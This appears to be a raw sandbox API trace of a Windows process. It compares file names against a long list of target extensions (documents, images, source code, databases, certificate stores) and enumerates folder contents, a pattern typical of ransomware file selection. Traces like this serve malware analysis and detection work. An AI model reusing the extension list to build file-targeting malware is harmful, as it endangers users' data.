[0097.192] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0097.192] lstrlenW (lpString=".c") returned 2 [0097.192] lstrcmpiW (lpString1=".c", lpString2="tf") returned -1 [0097.192] lstrlenW (lpString=".cdr") returned 4 [0097.192] lstrcmpiW (lpString1=".cdr", lpString2=".rtf") returned -1 [0097.192] lstrlenW (lpString=".cer") returned 4 [0097.192] lstrcmpiW (lpString1=".cer", lpString2=".rtf") returned -1 [0097.192] lstrlenW (lpString=".cf") returned 3 [0097.192] lstrcmpiW (lpString1=".cf", lpString2="rtf") returned -1 [0097.192] lstrlenW (lpString=".cfc") returned 4 [0097.192] lstrcmpiW (lpString1=".cfc", lpString2=".rtf") returned -1 [0097.192] lstrlenW (lpString=".cfm") returned 4 [0097.192] lstrcmpiW (lpString1=".cfm", lpString2=".rtf") returned -1 [0097.192] lstrlenW (lpString=".cfml") returned 5 [0097.192] lstrcmpiW (lpString1=".cfml", lpString2="a.rtf") returned -1 [0097.192] lstrlenW (lpString=".cfu") returned 4 [0097.192] lstrcmpiW (lpString1=".cfu", lpString2=".rtf") returned -1 [0097.192] lstrlenW (lpString=".chm") returned 4 [0097.192] lstrcmpiW (lpString1=".chm", lpString2=".rtf") returned -1 [0097.192] lstrlenW (lpString=".cin") returned 4 [0097.192] lstrcmpiW (lpString1=".cin", lpString2=".rtf") returned -1 [0097.192] lstrlenW (lpString=".class") returned 6 [0097.192] lstrcmpiW (lpString1=".class", lpString2="la.rtf") returned -1 [0097.192] lstrlenW (lpString=".clx") returned 4 [0097.192] lstrcmpiW (lpString1=".clx", lpString2=".rtf") returned -1 [0097.192] lstrlenW (lpString=".config") returned 7 [0097.192] lstrcmpiW (lpString1=".config", lpString2="ula.rtf") returned -1 [0097.192] lstrlenW (lpString=".cpp") returned 4 [0097.193] lstrcmpiW (lpString1=".cpp", lpString2=".rtf") returned -1 [0097.193] lstrlenW (lpString=".cr2") returned 4 [0097.193] lstrcmpiW (lpString1=".cr2", lpString2=".rtf") returned -1 [0097.193] lstrlenW (lpString=".crt") returned 4 [0097.193] lstrcmpiW (lpString1=".crt", lpString2=".rtf") returned -1 [0097.193] lstrlenW (lpString=".crw") returned 4 [0097.193] lstrcmpiW (lpString1=".crw", lpString2=".rtf") returned -1 [0097.193] lstrlenW (lpString=".cs") returned 3 [0097.193] lstrcmpiW (lpString1=".cs", lpString2="rtf") returned -1 [0097.193] lstrlenW (lpString=".css") returned 4 [0097.193] lstrcmpiW (lpString1=".css", lpString2=".rtf") returned -1 [0097.193] lstrlenW (lpString=".csv") returned 4 [0097.193] lstrcmpiW (lpString1=".csv", lpString2=".rtf") returned -1 [0097.193] lstrlenW (lpString=".cub") returned 4 [0097.193] lstrcmpiW (lpString1=".cub", lpString2=".rtf") returned -1 [0097.193] lstrlenW (lpString=".dae") returned 4 [0097.193] lstrcmpiW (lpString1=".dae", lpString2=".rtf") returned -1 [0097.193] lstrlenW (lpString=".dat") returned 4 [0097.193] lstrcmpiW (lpString1=".dat", lpString2=".rtf") returned -1 [0097.193] lstrlenW (lpString=".db") returned 3 [0097.193] lstrcmpiW (lpString1=".db", lpString2="rtf") returned -1 [0097.193] lstrlenW (lpString=".dbf") returned 4 [0097.193] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0097.193] lstrlenW (lpString=".dbx") returned 4 [0097.193] lstrcmpiW (lpString1=".dbx", lpString2=".rtf") returned -1 [0097.193] lstrlenW (lpString=".dc3") returned 4 [0097.193] lstrcmpiW (lpString1=".dc3", lpString2=".rtf") returned -1 [0097.193] lstrlenW (lpString=".dcm") returned 4 [0097.193] lstrcmpiW (lpString1=".dcm", lpString2=".rtf") returned -1 [0097.194] lstrlenW (lpString=".dcr") returned 4 [0097.194] lstrcmpiW (lpString1=".dcr", lpString2=".rtf") returned -1 [0097.194] lstrlenW (lpString=".der") returned 4 [0097.194] lstrcmpiW (lpString1=".der", lpString2=".rtf") returned -1 [0097.194] lstrlenW (lpString=".dib") returned 4 [0097.194] lstrcmpiW (lpString1=".dib", lpString2=".rtf") returned -1 [0097.194] lstrlenW (lpString=".dic") returned 4 [0097.194] lstrcmpiW (lpString1=".dic", lpString2=".rtf") returned -1 [0097.194] lstrlenW (lpString=".dif") returned 4 [0097.194] lstrcmpiW (lpString1=".dif", lpString2=".rtf") returned -1 [0097.194] lstrlenW (lpString=".divx") returned 5 [0097.194] lstrcmpiW (lpString1=".divx", lpString2="a.rtf") returned -1 [0097.194] lstrlenW (lpString=".djvu") returned 5 [0097.194] lstrcmpiW (lpString1=".djvu", lpString2="a.rtf") returned -1 [0097.194] lstrlenW (lpString=".dng") returned 4 [0097.194] lstrcmpiW (lpString1=".dng", lpString2=".rtf") returned -1 [0097.194] lstrlenW (lpString=".doc") returned 4 [0097.194] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0097.194] lstrlenW (lpString=".docm") returned 5 [0097.194] lstrcmpiW (lpString1=".docm", lpString2="a.rtf") returned -1 [0097.194] lstrlenW (lpString=".docx") returned 5 [0097.194] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0097.194] lstrlenW (lpString=".dot") returned 4 [0097.194] lstrcmpiW (lpString1=".dot", lpString2=".rtf") returned -1 [0097.194] lstrlenW (lpString=".dotm") returned 5 [0097.194] lstrcmpiW (lpString1=".dotm", lpString2="a.rtf") returned -1 [0097.194] lstrlenW (lpString=".dotx") returned 5 [0097.194] lstrcmpiW (lpString1=".dotx", lpString2="a.rtf") returned -1 [0097.194] lstrlenW (lpString=".dpx") returned 4 [0097.195] lstrcmpiW (lpString1=".dpx", lpString2=".rtf") returned -1 [0097.195] lstrlenW (lpString=".dqy") returned 4 [0097.195] lstrcmpiW (lpString1=".dqy", lpString2=".rtf") returned -1 [0097.195] lstrlenW (lpString=".dsn") returned 4 [0097.195] lstrcmpiW (lpString1=".dsn", lpString2=".rtf") returned -1 [0097.195] lstrlenW (lpString=".dt") returned 3 [0097.195] lstrcmpiW (lpString1=".dt", lpString2="rtf") returned -1 [0097.195] lstrlenW (lpString=".dtd") returned 4 [0097.195] lstrcmpiW (lpString1=".dtd", lpString2=".rtf") returned -1 [0097.195] lstrlenW (lpString=".dwg") returned 4 [0097.195] lstrcmpiW (lpString1=".dwg", lpString2=".rtf") returned -1 [0097.195] lstrlenW (lpString=".dwt") returned 4 [0097.195] lstrcmpiW (lpString1=".dwt", lpString2=".rtf") returned -1 [0097.195] lstrlenW (lpString=".dx") returned 3 [0097.195] lstrcmpiW (lpString1=".dx", lpString2="rtf") returned -1 [0097.195] lstrlenW (lpString=".dxf") returned 4 [0097.195] lstrcmpiW (lpString1=".dxf", lpString2=".rtf") returned -1 [0097.195] lstrlenW (lpString=".edml") returned 5 [0097.195] lstrcmpiW (lpString1=".edml", lpString2="a.rtf") returned -1 [0097.195] lstrlenW (lpString=".efd") returned 4 [0097.195] lstrcmpiW (lpString1=".efd", lpString2=".rtf") returned -1 [0097.195] lstrlenW (lpString=".elf") returned 4 [0097.195] lstrcmpiW (lpString1=".elf", lpString2=".rtf") returned -1 [0097.195] lstrlenW (lpString=".emf") returned 4 [0097.195] lstrcmpiW (lpString1=".emf", lpString2=".rtf") returned -1 [0097.195] lstrlenW (lpString=".emz") returned 4 [0097.195] lstrcmpiW (lpString1=".emz", lpString2=".rtf") returned -1 [0097.195] lstrlenW (lpString=".epf") returned 4 [0097.196] lstrcmpiW (lpString1=".epf", lpString2=".rtf") returned -1 [0097.196] lstrlenW (lpString=".eps") returned 4 [0097.196] lstrcmpiW (lpString1=".eps", lpString2=".rtf") returned -1 [0097.196] lstrlenW (lpString=".epsf") returned 5 [0097.196] lstrcmpiW (lpString1=".epsf", lpString2="a.rtf") returned -1 [0097.196] lstrlenW (lpString=".epsp") returned 5 [0097.196] lstrcmpiW (lpString1=".epsp", lpString2="a.rtf") returned -1 [0097.196] lstrlenW (lpString=".erf") returned 4 [0097.196] lstrcmpiW (lpString1=".erf", lpString2=".rtf") returned -1 [0097.196] lstrlenW (lpString=".exr") returned 4 [0097.196] lstrcmpiW (lpString1=".exr", lpString2=".rtf") returned -1 [0097.196] lstrlenW (lpString=".f4v") returned 4 [0097.196] lstrcmpiW (lpString1=".f4v", lpString2=".rtf") returned -1 [0097.196] lstrlenW (lpString=".fido") returned 5 [0097.196] lstrcmpiW (lpString1=".fido", lpString2="a.rtf") returned -1 [0097.196] lstrlenW (lpString=".flm") returned 4 [0097.196] lstrcmpiW (lpString1=".flm", lpString2=".rtf") returned -1 [0097.196] lstrlenW (lpString=".flv") returned 4 [0097.196] lstrcmpiW (lpString1=".flv", lpString2=".rtf") returned -1 [0097.196] lstrlenW (lpString=".frm") returned 4 [0097.196] lstrcmpiW (lpString1=".frm", lpString2=".rtf") returned -1 [0097.196] lstrlenW (lpString=".fxg") returned 4 [0097.196] lstrcmpiW (lpString1=".fxg", lpString2=".rtf") returned -1 [0097.196] lstrlenW (lpString=".geo") returned 4 [0097.196] lstrcmpiW (lpString1=".geo", lpString2=".rtf") returned -1 [0097.196] lstrlenW (lpString=".gif") returned 4 [0097.196] lstrcmpiW (lpString1=".gif", lpString2=".rtf") returned -1 [0097.196] lstrlenW (lpString=".grs") returned 4 [0097.196] lstrcmpiW (lpString1=".grs", lpString2=".rtf") returned -1 [0097.197] lstrlenW (lpString=".gz") returned 3 [0097.197] lstrcmpiW (lpString1=".gz", lpString2="rtf") returned -1 [0097.197] lstrlenW (lpString=".h") returned 2 [0097.197] lstrcmpiW (lpString1=".h", lpString2="tf") returned -1 [0097.197] lstrlenW (lpString=".hdr") returned 4 [0097.197] lstrcmpiW (lpString1=".hdr", lpString2=".rtf") returned -1 [0097.197] lstrlenW (lpString=".hpp") returned 4 [0097.197] lstrcmpiW (lpString1=".hpp", lpString2=".rtf") returned -1 [0097.197] lstrlenW (lpString=".hta") returned 4 [0097.197] lstrcmpiW (lpString1=".hta", lpString2=".rtf") returned -1 [0097.197] lstrlenW (lpString=".htc") returned 4 [0097.197] lstrcmpiW (lpString1=".htc", lpString2=".rtf") returned -1 [0097.197] lstrlenW (lpString=".htm") returned 4 [0097.197] lstrcmpiW (lpString1=".htm", lpString2=".rtf") returned -1 [0097.197] lstrlenW (lpString=".html") returned 5 [0097.197] lstrcmpiW (lpString1=".html", lpString2="a.rtf") returned -1 [0097.197] lstrlenW (lpString=".icb") returned 4 [0097.197] lstrcmpiW (lpString1=".icb", lpString2=".rtf") returned -1 [0097.197] lstrlenW (lpString=".ics") returned 4 [0097.197] lstrcmpiW (lpString1=".ics", lpString2=".rtf") returned -1 [0097.197] lstrlenW (lpString=".iff") returned 4 [0097.197] lstrcmpiW (lpString1=".iff", lpString2=".rtf") returned -1 [0097.197] lstrlenW (lpString=".inc") returned 4 [0097.197] lstrcmpiW (lpString1=".inc", lpString2=".rtf") returned -1 [0097.197] lstrlenW (lpString=".indd") returned 5 [0097.197] lstrcmpiW (lpString1=".indd", lpString2="a.rtf") returned -1 [0097.197] lstrlenW (lpString=".ini") returned 4 [0097.197] lstrcmpiW (lpString1=".ini", lpString2=".rtf") returned -1 [0097.198] lstrlenW (lpString=".iqy") returned 4 [0097.198] lstrcmpiW (lpString1=".iqy", lpString2=".rtf") returned -1 [0097.198] lstrlenW (lpString=".j2c") returned 4 [0097.198] lstrcmpiW (lpString1=".j2c", lpString2=".rtf") returned -1 [0097.198] lstrlenW (lpString=".j2k") returned 4 [0097.198] lstrcmpiW (lpString1=".j2k", lpString2=".rtf") returned -1 [0097.198] lstrlenW (lpString=".java") returned 5 [0097.198] lstrcmpiW (lpString1=".java", lpString2="a.rtf") returned -1 [0097.198] lstrlenW (lpString=".jp2") returned 4 [0097.198] lstrcmpiW (lpString1=".jp2", lpString2=".rtf") returned -1 [0097.198] lstrlenW (lpString=".jpc") returned 4 [0097.198] lstrcmpiW (lpString1=".jpc", lpString2=".rtf") returned -1 [0097.198] lstrlenW (lpString=".jpe") returned 4 [0097.198] lstrcmpiW (lpString1=".jpe", lpString2=".rtf") returned -1 [0097.198] lstrlenW (lpString=".jpeg") returned 5 [0097.198] lstrcmpiW (lpString1=".jpeg", lpString2="a.rtf") returned -1 [0097.198] lstrlenW (lpString=".jpf") returned 4 [0097.198] lstrcmpiW (lpString1=".jpf", lpString2=".rtf") returned -1 [0097.198] lstrlenW (lpString=".jpg") returned 4 [0097.198] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0097.198] lstrlenW (lpString=".jpx") returned 4 [0097.198] lstrcmpiW (lpString1=".jpx", lpString2=".rtf") returned -1 [0097.198] lstrlenW (lpString=".js") returned 3 [0097.198] lstrcmpiW (lpString1=".js", lpString2="rtf") returned -1 [0097.198] lstrlenW (lpString=".jsf") returned 4 [0097.198] lstrcmpiW (lpString1=".jsf", lpString2=".rtf") returned -1 [0097.198] lstrlenW (lpString=".json") returned 5 [0097.198] lstrcmpiW (lpString1=".json", lpString2="a.rtf") returned -1 [0097.198] lstrlenW (lpString=".jsp") returned 4 [0097.199] lstrcmpiW (lpString1=".jsp", lpString2=".rtf") returned -1 [0097.199] lstrlenW (lpString=".kdc") returned 4 [0097.199] lstrcmpiW (lpString1=".kdc", lpString2=".rtf") returned -1 [0097.199] lstrlenW (lpString=".kmz") returned 4 [0097.199] lstrcmpiW (lpString1=".kmz", lpString2=".rtf") returned -1 [0097.199] lstrlenW (lpString=".kwm") returned 4 [0097.199] lstrcmpiW (lpString1=".kwm", lpString2=".rtf") returned -1 [0097.199] lstrlenW (lpString=".lasso") returned 6 [0097.199] lstrcmpiW (lpString1=".lasso", lpString2="la.rtf") returned -1 [0097.199] lstrlenW (lpString=".lbi") returned 4 [0097.199] lstrcmpiW (lpString1=".lbi", lpString2=".rtf") returned -1 [0097.199] lstrlenW (lpString=".lgf") returned 4 [0097.199] lstrcmpiW (lpString1=".lgf", lpString2=".rtf") returned -1 [0097.199] lstrlenW (lpString=".lgp") returned 4 [0097.199] lstrcmpiW (lpString1=".lgp", lpString2=".rtf") returned -1 [0097.199] lstrlenW (lpString=".log") returned 4 [0097.199] lstrcmpiW (lpString1=".log", lpString2=".rtf") returned -1 [0097.199] lstrlenW (lpString=".m1v") returned 4 [0097.199] lstrcmpiW (lpString1=".m1v", lpString2=".rtf") returned -1 [0097.199] lstrlenW (lpString=".m4a") returned 4 [0097.199] lstrcmpiW (lpString1=".m4a", lpString2=".rtf") returned -1 [0097.199] lstrlenW (lpString=".m4v") returned 4 [0097.199] lstrcmpiW (lpString1=".m4v", lpString2=".rtf") returned -1 [0097.199] lstrlenW (lpString=".max") returned 4 [0097.199] lstrcmpiW (lpString1=".max", lpString2=".rtf") returned -1 [0097.199] lstrlenW (lpString=".md") returned 3 [0097.199] lstrcmpiW (lpString1=".md", lpString2="rtf") returned -1 [0097.199] lstrlenW (lpString=".mda") returned 4 [0097.200] lstrcmpiW (lpString1=".mda", lpString2=".rtf") returned -1 [0097.200] lstrlenW (lpString=".mdb") returned 4 [0097.200] lstrcmpiW (lpString1=".mdb", lpString2=".rtf") returned -1 [0097.200] lstrlenW (lpString=".mde") returned 4 [0097.200] lstrcmpiW (lpString1=".mde", lpString2=".rtf") returned -1 [0097.200] lstrlenW (lpString=".mdf") returned 4 [0097.200] lstrcmpiW (lpString1=".mdf", lpString2=".rtf") returned -1 [0097.200] lstrlenW (lpString=".mdw") returned 4 [0097.200] lstrcmpiW (lpString1=".mdw", lpString2=".rtf") returned -1 [0097.200] lstrlenW (lpString=".mef") returned 4 [0097.200] lstrcmpiW (lpString1=".mef", lpString2=".rtf") returned -1 [0097.200] lstrlenW (lpString=".mft") returned 4 [0097.200] lstrcmpiW (lpString1=".mft", lpString2=".rtf") returned -1 [0097.200] lstrlenW (lpString=".mfw") returned 4 [0097.200] lstrcmpiW (lpString1=".mfw", lpString2=".rtf") returned -1 [0097.200] lstrlenW (lpString=".mht") returned 4 [0097.200] lstrcmpiW (lpString1=".mht", lpString2=".rtf") returned -1 [0097.200] lstrlenW (lpString=".mhtml") returned 6 [0097.200] lstrcmpiW (lpString1=".mhtml", lpString2="la.rtf") returned -1 [0097.200] lstrlenW (lpString=".mka") returned 4 [0097.200] lstrcmpiW (lpString1=".mka", lpString2=".rtf") returned -1 [0097.200] lstrlenW (lpString=".mkidx") returned 6 [0097.200] lstrcmpiW (lpString1=".mkidx", lpString2="la.rtf") returned -1 [0097.200] lstrlenW (lpString=".mkv") returned 4 [0097.200] lstrcmpiW (lpString1=".mkv", lpString2=".rtf") returned -1 [0097.200] lstrlenW (lpString=".mos") returned 4 [0097.200] lstrcmpiW (lpString1=".mos", lpString2=".rtf") returned -1 [0097.200] lstrlenW (lpString=".mov") returned 4 [0097.200] lstrcmpiW (lpString1=".mov", lpString2=".rtf") returned -1 [0097.201] lstrlenW (lpString=".mp3") returned 4 [0097.201] lstrcmpiW (lpString1=".mp3", lpString2=".rtf") returned -1 [0097.201] lstrlenW (lpString=".mp4") returned 4 [0097.201] lstrcmpiW (lpString1=".mp4", lpString2=".rtf") returned -1 [0097.201] lstrlenW (lpString=".mpeg") returned 5 [0097.201] lstrcmpiW (lpString1=".mpeg", lpString2="a.rtf") returned -1 [0097.201] lstrlenW (lpString=".mpg") returned 4 [0097.201] lstrcmpiW (lpString1=".mpg", lpString2=".rtf") returned -1 [0097.201] lstrlenW (lpString=".mpv") returned 4 [0097.201] lstrcmpiW (lpString1=".mpv", lpString2=".rtf") returned -1 [0097.201] lstrlenW (lpString=".mrw") returned 4 [0097.201] lstrcmpiW (lpString1=".mrw", lpString2=".rtf") returned -1 [0097.201] lstrlenW (lpString=".msg") returned 4 [0097.201] lstrcmpiW (lpString1=".msg", lpString2=".rtf") returned -1 [0097.201] lstrlenW (lpString=".mxl") returned 4 [0097.201] lstrcmpiW (lpString1=".mxl", lpString2=".rtf") returned -1 [0097.201] lstrlenW (lpString=".myd") returned 4 [0097.201] lstrcmpiW (lpString1=".myd", lpString2=".rtf") returned -1 [0097.201] lstrlenW (lpString=".myi") returned 4 [0097.201] lstrcmpiW (lpString1=".myi", lpString2=".rtf") returned -1 [0097.201] lstrlenW (lpString=".nef") returned 4 [0097.201] lstrcmpiW (lpString1=".nef", lpString2=".rtf") returned -1 [0097.201] lstrlenW (lpString=".nrw") returned 4 [0097.201] lstrcmpiW (lpString1=".nrw", lpString2=".rtf") returned -1 [0097.201] lstrlenW (lpString=".obj") returned 4 [0097.201] lstrcmpiW (lpString1=".obj", lpString2=".rtf") returned -1 [0097.201] lstrlenW (lpString=".odb") returned 4 [0097.201] lstrcmpiW (lpString1=".odb", lpString2=".rtf") returned -1 [0097.201] lstrlenW (lpString=".odc") returned 4 [0097.202] lstrcmpiW (lpString1=".odc", lpString2=".rtf") returned -1 [0097.202] lstrlenW (lpString=".odm") returned 4 [0097.202] lstrcmpiW (lpString1=".odm", lpString2=".rtf") returned -1 [0097.202] lstrlenW (lpString=".odp") returned 4 [0097.202] lstrcmpiW (lpString1=".odp", lpString2=".rtf") returned -1 [0097.202] lstrlenW (lpString=".ods") returned 4 [0097.202] lstrcmpiW (lpString1=".ods", lpString2=".rtf") returned -1 [0097.202] lstrlenW (lpString=".oft") returned 4 [0097.202] lstrcmpiW (lpString1=".oft", lpString2=".rtf") returned -1 [0097.202] lstrlenW (lpString=".one") returned 4 [0097.202] lstrcmpiW (lpString1=".one", lpString2=".rtf") returned -1 [0097.202] lstrlenW (lpString=".onepkg") returned 7 [0097.202] lstrcmpiW (lpString1=".onepkg", lpString2="ula.rtf") returned -1 [0097.202] lstrlenW (lpString=".onetoc2") returned 8 [0097.202] lstrcmpiW (lpString1=".onetoc2", lpString2="eula.rtf") returned -1 [0097.202] lstrlenW (lpString=".opt") returned 4 [0097.202] lstrcmpiW (lpString1=".opt", lpString2=".rtf") returned -1 [0097.202] lstrlenW (lpString=".oqy") returned 4 [0097.202] lstrcmpiW (lpString1=".oqy", lpString2=".rtf") returned -1 [0097.202] lstrlenW (lpString=".orf") returned 4 [0097.202] lstrcmpiW (lpString1=".orf", lpString2=".rtf") returned -1 [0097.202] lstrlenW (lpString=".p12") returned 4 [0097.202] lstrcmpiW (lpString1=".p12", lpString2=".rtf") returned -1 [0097.202] lstrlenW (lpString=".p7b") returned 4 [0097.202] lstrcmpiW (lpString1=".p7b", lpString2=".rtf") returned -1 [0097.202] lstrlenW (lpString=".p7c") returned 4 [0097.202] lstrcmpiW (lpString1=".p7c", lpString2=".rtf") returned -1 [0097.202] lstrlenW (lpString=".pam") returned 4 [0097.202] lstrcmpiW (lpString1=".pam", lpString2=".rtf") returned -1 [0097.203] lstrlenW (lpString=".pbm") returned 4 [0097.203] lstrcmpiW (lpString1=".pbm", lpString2=".rtf") returned -1 [0097.203] lstrlenW (lpString=".pct") returned 4 [0097.203] lstrcmpiW (lpString1=".pct", lpString2=".rtf") returned -1 [0097.203] lstrlenW (lpString=".pcx") returned 4 [0097.203] lstrcmpiW (lpString1=".pcx", lpString2=".rtf") returned -1 [0097.203] lstrlenW (lpString=".pdd") returned 4 [0097.203] lstrcmpiW (lpString1=".pdd", lpString2=".rtf") returned -1 [0097.203] lstrlenW (lpString=".pdf") returned 4 [0097.203] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0097.203] lstrlenW (lpString=".pdp") returned 4 [0097.203] lstrcmpiW (lpString1=".pdp", lpString2=".rtf") returned -1 [0097.203] lstrlenW (lpString=".pef") returned 4 [0097.203] lstrcmpiW (lpString1=".pef", lpString2=".rtf") returned -1 [0097.203] lstrlenW (lpString=".pem") returned 4 [0097.203] lstrcmpiW (lpString1=".pem", lpString2=".rtf") returned -1 [0097.203] lstrlenW (lpString=".pff") returned 4 [0097.203] lstrcmpiW (lpString1=".pff", lpString2=".rtf") returned -1 [0097.203] lstrlenW (lpString=".pfm") returned 4 [0097.203] lstrcmpiW (lpString1=".pfm", lpString2=".rtf") returned -1 [0097.203] lstrlenW (lpString=".pfx") returned 4 [0097.203] lstrcmpiW (lpString1=".pfx", lpString2=".rtf") returned -1 [0097.203] lstrlenW (lpString=".pgm") returned 4 [0097.203] lstrcmpiW (lpString1=".pgm", lpString2=".rtf") returned -1 [0097.203] lstrlenW (lpString=".php") returned 4 [0097.203] lstrcmpiW (lpString1=".php", lpString2=".rtf") returned -1 [0097.203] lstrlenW (lpString=".php3") returned 5 [0097.203] lstrcmpiW (lpString1=".php3", lpString2="a.rtf") returned -1 [0097.204] lstrlenW (lpString=".php4") returned 5 [0097.204] lstrcmpiW (lpString1=".php4", lpString2="a.rtf") returned -1 [0097.204] lstrlenW (lpString=".php5") returned 5 [0097.204] lstrcmpiW (lpString1=".php5", lpString2="a.rtf") returned -1 [0097.204] lstrlenW (lpString=".phtml") returned 6 [0097.204] lstrcmpiW (lpString1=".phtml", lpString2="la.rtf") returned -1 [0097.204] lstrlenW (lpString=".pict") returned 5 [0097.204] lstrcmpiW (lpString1=".pict", lpString2="a.rtf") returned -1 [0097.204] lstrlenW (lpString=".pl") returned 3 [0097.204] lstrcmpiW (lpString1=".pl", lpString2="rtf") returned -1 [0097.204] lstrlenW (lpString=".pls") returned 4 [0097.204] lstrcmpiW (lpString1=".pls", lpString2=".rtf") returned -1 [0097.204] lstrlenW (lpString=".pm") returned 3 [0097.204] lstrcmpiW (lpString1=".pm", lpString2="rtf") returned -1 [0097.204] lstrlenW (lpString=".png") returned 4 [0097.204] lstrcmpiW (lpString1=".png", lpString2=".rtf") returned -1 [0097.204] lstrlenW (lpString=".pnm") returned 4 [0097.204] lstrcmpiW (lpString1=".pnm", lpString2=".rtf") returned -1 [0097.204] lstrlenW (lpString=".pot") returned 4 [0097.205] lstrcmpiW (lpString1=".pot", lpString2=".rtf") returned -1 [0097.205] lstrlenW (lpString=".potm") returned 5 [0097.205] lstrcmpiW (lpString1=".potm", lpString2="a.rtf") returned -1 [0097.205] lstrlenW (lpString=".potx") returned 5 [0097.205] lstrcmpiW (lpString1=".potx", lpString2="a.rtf") returned -1 [0097.205] lstrlenW (lpString=".ppa") returned 4 [0097.205] lstrcmpiW (lpString1=".ppa", lpString2=".rtf") returned -1 [0097.205] lstrlenW (lpString=".ppam") returned 5 [0097.205] lstrcmpiW (lpString1=".ppam", lpString2="a.rtf") returned -1 [0097.205] lstrlenW (lpString=".ppm") returned 4 [0097.205] lstrcmpiW (lpString1=".ppm", lpString2=".rtf") returned -1 [0097.205] lstrlenW (lpString=".pps") returned 4 [0097.205] lstrcmpiW (lpString1=".pps", lpString2=".rtf") returned -1 [0097.205] lstrlenW (lpString=".ppsm") returned 5 [0097.205] lstrcmpiW (lpString1=".ppsm", lpString2="a.rtf") returned -1 [0097.205] lstrlenW (lpString=".ppt") returned 4 [0097.205] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0097.205] lstrlenW (lpString=".pptm") returned 5 [0097.205] lstrcmpiW (lpString1=".pptm", lpString2="a.rtf") returned -1 [0097.205] lstrlenW (lpString=".pptx") returned 5 [0097.205] lstrcmpiW (lpString1=".pptx", lpString2="a.rtf") returned -1 [0097.205] lstrlenW (lpString=".prn") returned 4 [0097.205] lstrcmpiW (lpString1=".prn", lpString2=".rtf") returned -1 [0097.205] lstrlenW (lpString=".ps") returned 3 [0097.205] lstrcmpiW (lpString1=".ps", lpString2="rtf") returned -1 [0097.205] lstrlenW (lpString=".psb") returned 4 [0097.205] lstrcmpiW (lpString1=".psb", lpString2=".rtf") returned -1 [0097.205] lstrlenW (lpString=".psd") returned 4 [0097.206] lstrcmpiW (lpString1=".psd", lpString2=".rtf") returned -1 [0097.206] lstrlenW (lpString=".pst") returned 4 [0097.206] lstrcmpiW (lpString1=".pst", lpString2=".rtf") returned -1 [0097.206] lstrlenW (lpString=".ptx") returned 4 [0097.206] lstrcmpiW (lpString1=".ptx", lpString2=".rtf") returned -1 [0097.206] lstrlenW (lpString=".pub") returned 4 [0097.206] lstrcmpiW (lpString1=".pub", lpString2=".rtf") returned -1 [0097.206] lstrlenW (lpString=".pwm") returned 4 [0097.206] lstrcmpiW (lpString1=".pwm", lpString2=".rtf") returned -1 [0097.206] lstrlenW (lpString=".pxr") returned 4 [0097.206] lstrcmpiW (lpString1=".pxr", lpString2=".rtf") returned -1 [0097.206] lstrlenW (lpString=".py") returned 3 [0097.206] lstrcmpiW (lpString1=".py", lpString2="rtf") returned -1 [0097.206] lstrlenW (lpString=".qt") returned 3 [0097.206] lstrcmpiW (lpString1=".qt", lpString2="rtf") returned -1 [0097.206] lstrlenW (lpString=".r3d") returned 4 [0097.206] lstrcmpiW (lpString1=".r3d", lpString2=".rtf") returned -1 [0097.206] lstrlenW (lpString=".raf") returned 4 [0097.206] lstrcmpiW (lpString1=".raf", lpString2=".rtf") returned -1 [0097.206] lstrlenW (lpString=".rar") returned 4 [0097.206] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0097.206] FindNextFileW (in: hFindFile=0x3e50600, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x12cde, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0097.206] FindNextFileW (in: hFindFile=0x3e50600, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0097.207] FindNextFileW (in: hFindFile=0x3e50600, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0097.207] FindClose (in: hFindFile=0x3e50600 | out: hFindFile=0x3e50600) returned 1 [0097.207] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3e51058 | out: hHeap=0x4b0000) returned 1 [0097.207] FindNextFileW (in: hFindFile=0x3e50500, lpFindFileData=0x2e5fa7c | out: lpFindFileData=0x2e5fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1036", cAlternateFileName="")) returned 1 [0097.207] RtlAllocateHeap 